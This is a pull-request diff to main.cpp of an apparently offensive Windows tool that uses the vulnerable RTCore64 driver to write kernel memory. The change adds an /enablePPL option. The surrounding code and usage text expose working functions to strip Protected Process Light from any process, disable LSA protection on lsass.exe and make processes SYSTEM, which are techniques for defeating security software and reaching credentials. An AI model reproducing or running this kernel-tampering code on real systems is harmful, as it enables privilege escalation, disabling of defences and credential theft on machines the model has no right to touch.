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Add /enablePPL to enable PPL protection on a process #11

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Add /enablePPL to enable PPL protection on a process #11

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24 changes: 18 additions & 6 deletions main.cpp
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Original file line number Diff line number Diff line change
Expand Up @@ -291,7 +291,7 @@ struct Offsets {
DWORD64 SignatureLevelOffset;
};

void disableProtectedProcesses(DWORD targetPID, Offsets offsets) {
void modifyProtectedProcesses(DWORD targetPID, Offsets offsets, BOOL enableProtection) {
const auto Device = CreateFileW(LR"(\\.\RTCore64)", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, 0, nullptr);
if (Device == INVALID_HANDLE_VALUE) {
Log("[!] Unable to obtain a handle to the device object");
Expand Down Expand Up @@ -324,9 +324,15 @@ void disableProtectedProcesses(DWORD targetPID, Offsets offsets) {
} while (CurrentProcessAddress != ProcessHead);
CurrentProcessAddress -= offsets.ActiveProcessLinksOffset;
Log("[*] Current process address: %p", CurrentProcessAddress);

// Patches 5 values — SignatureLevel, SectionSignatureLevel, Type, Audit, and Signer
WriteMemoryPrimitive(Device, 4, CurrentProcessAddress + offsets.SignatureLevelOffset, 0x00);
if (enableProtection) {
Log("[*] Enabling PPL protection for process.");
WriteMemoryDWORD64(Device, CurrentProcessAddress + offsets.SignatureLevelOffset, (DWORD64)0x58c00000623f3f);
}
else {
Log("[*] Disabling PPL protection for process.");
// Patches 5 values SignatureLevel, SectionSignatureLevel, Type, Audit, and Signer
WriteMemoryPrimitive(Device, 4, CurrentProcessAddress + offsets.SignatureLevelOffset, 0x00);
}

// Cleanup
CloseHandle(Device);
Expand Down Expand Up @@ -552,6 +558,7 @@ int wmain(int argc, wchar_t* argv[]) {
if (argc < 2) {
wprintf(L"Usage: %s\n"
" [/disablePPL <PID>]\n"
" [/enablePPL <PID>]\n"
" [/disableLSAProtection]\n"
" [/makeSYSTEM <PID>]\n"
" [/makeSYSTEMcmd]\n"
Expand All @@ -566,12 +573,17 @@ int wmain(int argc, wchar_t* argv[]) {
if (wcscmp(argv[1] + 1, L"disablePPL") == 0 && argc == 3) {
Offsets offsets = getVersionOffsets();
auto PID = _wtoi(argv[2]);
disableProtectedProcesses(PID, offsets);
modifyProtectedProcesses(PID, offsets, false);
}
else if (wcscmp(argv[1] + 1, L"enablePPL") == 0 && argc == 3) {
Offsets offsets = getVersionOffsets();
auto PID = _wtoi(argv[2]);
modifyProtectedProcesses(PID, offsets, true);
}
else if (wcscmp(argv[1] + 1, L"disableLSAProtection") == 0) {
Offsets offsets = getVersionOffsets();
auto lsassPID = processPIDByName(L"lsass.exe");
disableProtectedProcesses(lsassPID, offsets);
modifyProtectedProcesses(lsassPID, offsets, false);
}
else if (wcscmp(argv[1] + 1, L"makeSYSTEM") == 0 && argc == 3) {
Offsets offsets = getVersionOffsets();
Expand Down